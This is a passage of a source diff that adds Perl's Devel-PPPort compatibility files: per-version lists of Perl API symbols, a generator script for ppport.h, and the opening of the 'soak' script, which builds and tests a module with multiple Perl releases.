+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5016003
@@ -0,0 +1 @@
+5.016003
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017000
new file mode 100644
index 00000000000..bf56b9a68af
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017000
@@ -0,0 +1 @@
+5.017000
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017001
new file mode 100644
index 00000000000..6c9994352af
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017001
@@ -0,0 +1 @@
+5.017001
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017002
new file mode 100644
index 00000000000..fd825e14bcd
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017002
@@ -0,0 +1,7 @@
+5.017002
+is_uni_blank # U
+is_uni_blank_lc # U
+is_utf8_blank # U
+sv_copypv_flags # U
+sv_copypv_nomg # U
+sv_vcatpvfn_flags # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017003
new file mode 100644
index 00000000000..50227645479
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017003
@@ -0,0 +1 @@
+5.017003
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017004
new file mode 100644
index 00000000000..02021258887
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017004
@@ -0,0 +1,5 @@
+5.017004
+PL_comppad_name # E
+PadlistREFCNT # U
+newMYSUB # E (Perl_newMYSUB)
+newSVpadname # E
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017005 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017005
new file mode 100644
index 00000000000..31dfb1c3838
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017005
@@ -0,0 +1 @@
+5.017005
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017006 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017006
new file mode 100644
index 00000000000..0bb24862396
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017006
@@ -0,0 +1,2 @@
+5.017006
+READ_XDIGIT # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017007 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017007
new file mode 100644
index 00000000000..c95c23505f2
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017007
@@ -0,0 +1,7 @@
+5.017007
+SvREFCNT_dec_NN # U
+_is_uni_perl_idstart # U
+_is_utf8_perl_idstart # U
+is_uni_alnumc # U
+is_uni_alnumc_lc # U
+is_utf8_alnumc # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017008 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017008
new file mode 100644
index 00000000000..9228a1506d0
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017008
@@ -0,0 +1,8 @@
+5.017008
+_is_uni_FOO # U
+_is_uni_perl_idcont # U
+_is_utf8_FOO # U
+_is_utf8_mark # U
+_is_utf8_perl_idcont # U
+isALPHANUMERIC # U
+isIDCONT # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017009 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017009
new file mode 100644
index 00000000000..fd728270400
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017009
@@ -0,0 +1,3 @@
+5.017009
+av_tindex # U
+av_top_index # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017010 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017010
new file mode 100644
index 00000000000..fed2762e9b6
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017010
@@ -0,0 +1 @@
+5.017010
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017011 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017011
new file mode 100644
index 00000000000..5fcf0516810
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5017011
@@ -0,0 +1 @@
+5.017011
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5018000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5018000
new file mode 100644
index 00000000000..17729d0b741
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5018000
@@ -0,0 +1,2 @@
+5.018000
+hv_rand_set # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5018001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5018001
new file mode 100644
index 00000000000..5d4bb8f5003
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5018001
@@ -0,0 +1 @@
+5.018001
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5018002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5018002
new file mode 100644
index 00000000000..17291bcf13a
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5018002
@@ -0,0 +1 @@
+5.018002
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5018003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5018003
new file mode 100644
index 00000000000..4d40f26283a
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5018003
@@ -0,0 +1 @@
+5.018003
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5018004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5018004
new file mode 100644
index 00000000000..f137cc2ad75
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5018004
@@ -0,0 +1 @@
+5.018004
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019000
new file mode 100644
index 00000000000..a6e8e034939
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019000
@@ -0,0 +1 @@
+5.019000
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019001
new file mode 100644
index 00000000000..803ad9abffb
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019001
@@ -0,0 +1,6 @@
+5.019001
+re_intuit_start # A
+toFOLD # U
+toFOLD_utf8 # U
+toLOWER_L1 # U
+toTITLE # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019002
new file mode 100644
index 00000000000..5af71fbeae6
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019002
@@ -0,0 +1,2 @@
+5.019002
+SVt_INVLIST # E
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019003
new file mode 100644
index 00000000000..4bcc1d17f8c
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019003
@@ -0,0 +1,2 @@
+5.019003
+sv_pos_b2u_flags # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019004
new file mode 100644
index 00000000000..1aa2023c9f7
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019004
@@ -0,0 +1,4 @@
+5.019004
+append_utf8_from_native_byte # U
+is_safe_syscall # U
+uvoffuni_to_utf8_flags # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019005 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019005
new file mode 100644
index 00000000000..69dcd69aefb
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019005
@@ -0,0 +1 @@
+5.019005
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019006 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019006
new file mode 100644
index 00000000000..f14fb0c0c4b
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019006
@@ -0,0 +1 @@
+5.019006
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019007 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019007
new file mode 100644
index 00000000000..c34055ea2af
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019007
@@ -0,0 +1,2 @@
+5.019007
+OP_TYPE_IS # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019008 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019008
new file mode 100644
index 00000000000..8fe2e2f1ded
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019008
@@ -0,0 +1 @@
+5.019008
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019009 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019009
new file mode 100644
index 00000000000..7706f723a00
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019009
@@ -0,0 +1,5 @@
+5.019009
+_to_utf8_fold_flags # A
+_to_utf8_lower_flags # A
+_to_utf8_title_flags # A
+_to_utf8_upper_flags # A
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019010 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019010
new file mode 100644
index 00000000000..8bdae66ddbe
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019010
@@ -0,0 +1,2 @@
+5.019010
+OP_TYPE_IS_OR_WAS # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019011 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019011
new file mode 100644
index 00000000000..2436c20fa66
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019011
@@ -0,0 +1 @@
+5.019011
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5020000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5020000
new file mode 100644
index 00000000000..0c909259446
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5020000
@@ -0,0 +1 @@
+5.020000
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5020001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5020001
new file mode 100644
index 00000000000..1448fe7920c
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5020001
@@ -0,0 +1 @@
+5.020001
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5020002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5020002
new file mode 100644
index 00000000000..e31c0d0f492
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5020002
@@ -0,0 +1 @@
+5.020002
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5020003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5020003
new file mode 100644
index 00000000000..89ec61981a0
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5020003
@@ -0,0 +1 @@
+5.020003
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021000
new file mode 100644
index 00000000000..b3138ab9c57
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021000
@@ -0,0 +1 @@
+5.021000
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021001
new file mode 100644
index 00000000000..6e66213f6ea
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021001
@@ -0,0 +1,12 @@
+5.021001
+_is_in_locale_category # U
+_is_utf8_char_slow # U
+_is_utf8_idcont # U
+_is_utf8_idstart # U
+_is_utf8_xidcont # U
+_is_utf8_xidstart # U
+isALNUM_lazy # U
+isIDFIRST_lazy # U
+isUTF8_CHAR # U
+markstack_grow # E (Perl_markstack_grow)
+my_strerror # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021002
new file mode 100644
index 00000000000..abe5ac12465
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021002
@@ -0,0 +1,3 @@
+5.021002
+grok_number_flags # U
+op_sibling_splice # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021004
new file mode 100644
index 00000000000..3a62526e13b
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021004
@@ -0,0 +1,5 @@
+5.021004
+cv_set_call_checker_flags # U
+grok_infnan # U
+isinfnan # U
+sync_locale # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021005 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021005
new file mode 100644
index 00000000000..2a02ad28b68
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021005
@@ -0,0 +1,4 @@
+5.021005
+cv_name # A
+newMETHOP # U
+newMETHOP_named # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021006 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021006
new file mode 100644
index 00000000000..fbefd16d47b
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021006
@@ -0,0 +1,3 @@
+5.021006
+newDEFSVOP # U
+op_convert_list # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021007 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021007
new file mode 100644
index 00000000000..6b8b9ba7072
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021007
@@ -0,0 +1,9 @@
+5.021007
+PadnameUTF8 # E
+is_invariant_string # U
+newPADNAMELIST # U
+newPADNAMEouter # U
+newPADNAMEpvn # U
+newUNOP_AUX # E
+padnamelist_fetch # U
+padnamelist_store # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021008 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021008
new file mode 100644
index 00000000000..ccba00cb34d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021008
@@ -0,0 +1,2 @@
+5.021008
+sv_get_backrefs # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021009 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021009
new file mode 100644
index 00000000000..7397722a252
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021009
@@ -0,0 +1 @@
+5.021009
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021010 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021010
new file mode 100644
index 00000000000..821a8fb6294
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021010
@@ -0,0 +1,2 @@
+5.021010
+DECLARATION_FOR_LC_NUMERIC_MANIPULATION # E
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021011 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021011
new file mode 100644
index 00000000000..22e73021545
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021011
@@ -0,0 +1 @@
+5.021011
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5022000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5022000
new file mode 100644
index 00000000000..aca319e5cdd
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5022000
@@ -0,0 +1,2 @@
+5.022000
+UVCHR_SKIP # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5022001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5022001
new file mode 100644
index 00000000000..28befba2cdf
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5022001
@@ -0,0 +1 @@
+5.022001
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023000
new file mode 100644
index 00000000000..e461a326691
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023000
@@ -0,0 +1 @@
+5.023000
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023001
new file mode 100644
index 00000000000..ea44212d3c7
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023001
@@ -0,0 +1 @@
+5.023001
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023002
new file mode 100644
index 00000000000..2060466c2ad
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023002
@@ -0,0 +1 @@
+5.023002
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023003
new file mode 100644
index 00000000000..4b19a2410ac
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023003
@@ -0,0 +1 @@
+5.023003
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023004
new file mode 100644
index 00000000000..ce60a67e7aa
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023004
@@ -0,0 +1 @@
+5.023004
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023005 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023005
new file mode 100644
index 00000000000..1b8818c372d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023005
@@ -0,0 +1 @@
+5.023005
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023006 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023006
new file mode 100644
index 00000000000..f6c59949af8
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023006
@@ -0,0 +1 @@
+5.023006
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023007 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023007
new file mode 100644
index 00000000000..fb7c55335da
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023007
@@ -0,0 +1 @@
+5.023007
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023008 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023008
new file mode 100644
index 00000000000..ed2ef6d2eb0
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023008
@@ -0,0 +1,22 @@
+5.023008
+clear_defarray # U
+cx_popblock # U
+cx_popeval # U
+cx_popformat # U
+cx_popgiven # U
+cx_poploop # U
+cx_popsub # U
+cx_popsub_args # U
+cx_popsub_common # U
+cx_popwhen # U
+cx_pushblock # U
+cx_pusheval # U
+cx_pushformat # U
+cx_pushgiven # U
+cx_pushloop_for # U
+cx_pushloop_plain # U
+cx_pushsub # U
+cx_pushwhen # U
+cx_topblock # U
+leave_adjust_stacks # U
+savetmps # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023009 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023009
new file mode 100644
index 00000000000..336b09a3eea
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023009
@@ -0,0 +1,5 @@
+5.023009
+toFOLD_uvchr # U
+toLOWER_uvchr # U
+toTITLE_uvchr # U
+toUPPER_uvchr # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5024000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5024000
new file mode 100644
index 00000000000..6a5e2484a10
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5024000
@@ -0,0 +1,45 @@
+5.024000
+BhkDISABLE # E
+BhkENABLE # E
+BhkENTRY_set # E
+MULTICALL # E
+PERL_SYS_TERM # E
+POP_MULTICALL # E
+PUSH_MULTICALL # E
+PadARRAY # E
+PadMAX # E
+PadlistARRAY # E
+PadlistMAX # E
+PadlistNAMES # E
+PadlistNAMESARRAY # E
+PadlistNAMESMAX # E
+PadnameLEN # E
+PadnamePV # E
+PadnameREFCNT # E
+PadnameREFCNT_dec # E
+PadnameSV # E
+PadnamelistARRAY # E
+PadnamelistMAX # E
+PadnamelistREFCNT # E
+PadnamelistREFCNT_dec # E
+RESTORE_LC_NUMERIC # E
+STORE_LC_NUMERIC_FORCE_TO_UNDERLYING # E
+STORE_LC_NUMERIC_SET_TO_NEEDED # E
+XS_APIVERSION_BOOTCHECK # E
+XS_EXTERNAL # E
+XS_INTERNAL # E
+XS_VERSION_BOOTCHECK # E
+XopDISABLE # E
+XopENABLE # E
+XopENTRY # E
+XopENTRYCUSTOM # E
+XopENTRY_set # E
+cophh_new_empty # E
+my_lstat # U (Perl_my_lstat)
+my_stat # U (Perl_my_stat)
+reentrant_free # U
+reentrant_init # U
+reentrant_retry # U
+reentrant_size # U
+ref # U (Perl_ref)
+sv_setref_pvs # A
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/ppport_h.PL b/gnu/usr.bin/perl/dist/Devel-PPPort/ppport_h.PL
new file mode 100644
index 00000000000..b7877b32774
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/ppport_h.PL
@@ -0,0 +1,19 @@
+################################################################################
+#
+# ppport_h.PL -- generate ppport.h
+#
+################################################################################
+#
+# Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+# Version 2.x, Copyright (C) 2001, Paul Marquess.
+# Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the same terms as Perl itself.
+#
+################################################################################
+
+package Devel::PPPort;
+require "./PPPort.pm";
+rename 'ppport.h', 'ppport.old' if -f 'ppport.h';
+unlink "ppport.old" if WriteFile("ppport.h") && -f 'ppport.h';
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/soak b/gnu/usr.bin/perl/dist/Devel-PPPort/soak
new file mode 100644
index 00000000000..391cffedf23
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/soak
@@ -0,0 +1,600 @@
+#!/usr/bin/perl -w
+################################################################################
+#
+# soak -- Test Perl modules with multiple Perl releases.
+#
+# Original Author: Paul Marquess
+#
+################################################################################
+#
+# Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+# Version 2.x, Copyright (C) 2001, Paul Marquess.
+# Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the same terms as Perl itself.
+#
+################################################################################
+
+require 5.006001;
+
+use strict;
+use warnings;
+use ExtUtils::MakeMaker;
+use Getopt::Long;
+use Pod::Usage;
+use File::Find;
+use List::Util qw(max);
+use Config;
+
+my $VERSION = '3.36';
+
+$| = 1;
+my %OPT = (
+ verbose => 0,
+ make => $Config{make} || 'make',
+ min => '5.000',
+ color => 1,
+);
+
+GetOptions(\%OPT, qw(verbose make=s min=s mmargs=s@ color!)) or pod2usage(2);
+
+$OPT{mmargs} = [''] unless exists $OPT{mmargs};
+$OPT{min} = parse_version($OPT{min}) - 1e-10;
+
+sub cs($;$$) { my $x = shift; my($s, $p) = @_ ? @_ : ('', 's'); ($x, $x == 1 ? $s : $p) }
+
+my @GoodPerls = map { $_->[0] }
+ sort { $a->[1] <=> $b->[1] or $a->[0] cmp $b->[0] }
+ grep { $_->[1] >= $OPT{min} }
+ map { [$_ => perl_version($_)] }
+ @ARGV ? SearchPerls(@ARGV) : FindPerls();
+
+unless (@GoodPerls) {
+ print "Sorry, got no Perl binaries for testing.\n\n";
+ exit 0;
+}
+
+my $maxlen = max(map length, @GoodPerls) + 3;
+my $mmalen = max(map length, @{$OPT{mmargs}});
+$maxlen += $mmalen+3 if $mmalen > 0;
+
+my $rep = Soak::Reporter->new( verbose => $OPT{verbose}
+ , color => $OPT{color}
+ , width => $maxlen
+ );
+
+$SIG{__WARN__} = sub { $rep->warn(@_) };
+$SIG{__DIE__} = sub { $rep->die(@_) };
+
+# prime the pump, so the first "make realclean" will work.
+runit("$^X Makefile.PL") && runit("$OPT{make} realclean")
+ or $rep->die("Cannot run $^X Makefile.PL && $OPT{make} realclean\n");
+
+my $tot = @GoodPerls*@{$OPT{mmargs}};
+
+$rep->set(tests => $tot);
+
+$rep->status(sprintf("Testing %d version%s / %d configuration%s (%d combination%s)...\n",
+ cs(@GoodPerls), cs(@{$OPT{mmargs}}), cs($tot)));
+
+for my $perl (@GoodPerls) {
+ for my $mm (@{$OPT{mmargs}}) {
+ $rep->set(perl => $perl, config => $mm);
+
+ $rep->test;
+
+ my @warn_mfpl;
+ my @warn_make;
+ my @warn_test;
+
+ my $ok = runit("$perl Makefile.PL $mm", \@warn_mfpl) &&
+ runit("$OPT{make}", \@warn_make) &&
+ runit("$OPT{make} test", \@warn_test);
+
+ $rep->warnings(['Makefile.PL' => \@warn_mfpl],
+ ['make' => \@warn_make],
+ ['make test' => \@warn_test]);
+
+ if ($ok) {
+ $rep->passed;
+ }
+ else {
+ $rep->failed;
+ }
+
+ runit("$OPT{make} realclean");
+ }
+}
+
+exit $rep->finish;
+
+sub runit
+{
+ # TODO -- portability alert!!
+
+ my($cmd, $warn) = @_;
+ $rep->vsay("\n Running [$cmd]");
+ my $output = `$cmd 2>&1`;
+ $output = "\n" unless defined $output;
+ $output =~ s/^/ > /gm;
+ $rep->say("\n Output:\n$output") if $OPT{verbose} || $?;
+ if ($?) {
+ $rep->warn(" Running '$cmd' failed: $?\n");
+ return 0;
+ }
+ push @$warn, $output =~ /(warning: .*)/ig;
+ return 1;
+}
+
+sub FindPerls
+{
+ # TODO -- need to decide how far back we go.
+ # TODO -- get list of user releases prior to 5.004
+ # TODO -- does not work on Windows (at least)
+
+ # find versions of Perl that are available
+ my @PerlBinaries = qw(
+ 5.000
+ 5.001
+ 5.002
+ 5.003
+ 5.004 5.00401 5.00402 5.00403 5.00404 5.00405
+ 5.005 5.00501 5.00502 5.00503 5.00504
+ 5.6.0 5.6.1 5.6.2
+ 5.7.0 5.7.1 5.7.2 5.7.3
+ 5.8.0 5.8.1 5.8.2 5.8.3 5.8.4 5.8.5 5.8.6 5.8.7 5.8.8
+ 5.9.0 5.9.1 5.9.2 5.9.3
+ );
+
+ print "Searching for Perl binaries...\n";
+
+ # find_perl will send a warning to STDOUT if it can't find
+ # the requested perl, so need to temporarily silence STDOUT.
+ tie *STDOUT, 'NoSTDOUT';
+
+ my $mm = MM->new( { NAME => 'dummy' });
+ my @path = $mm->path;
+ my @GoodPerls;
+
+ for my $perl (@PerlBinaries) {
+ if (my $abs = $mm->find_perl($perl, ["perl$perl"], \@path, 0)) {
+ push @GoodPerls, $abs;
+ }
+ }
+
+ untie *STDOUT;
+
+ print "\nFound:\n", (map " $_\n", @GoodPerls), "\n";
+
+ return @GoodPerls;
+}
+
+sub SearchPerls
+{
+ my @args = @_;
+ my @perls;
+
+ for my $arg (@args) {
+ if (-d $arg) {
+ my @found;
+ print "Searching for Perl binaries in '$arg'...\n";
+ find({ wanted => sub {
+ $File::Find::name =~ m!perl5[\w._]+$!
+ and -f $File::Find::name
+ and -x $File::Find::name
+ and perl_version($File::Find::name)
+ and push @found, $File::Find::name;
+ }, follow => 1 }, $arg);
+ printf "Found %d Perl binar%s in '%s'.\n\n", cs(@found, 'y', 'ies'), $arg;
+ push @perls, @found;
+ }
+ else {
+ push @perls, $arg;
+ }
+ }
+
+ return @perls;
+}
+
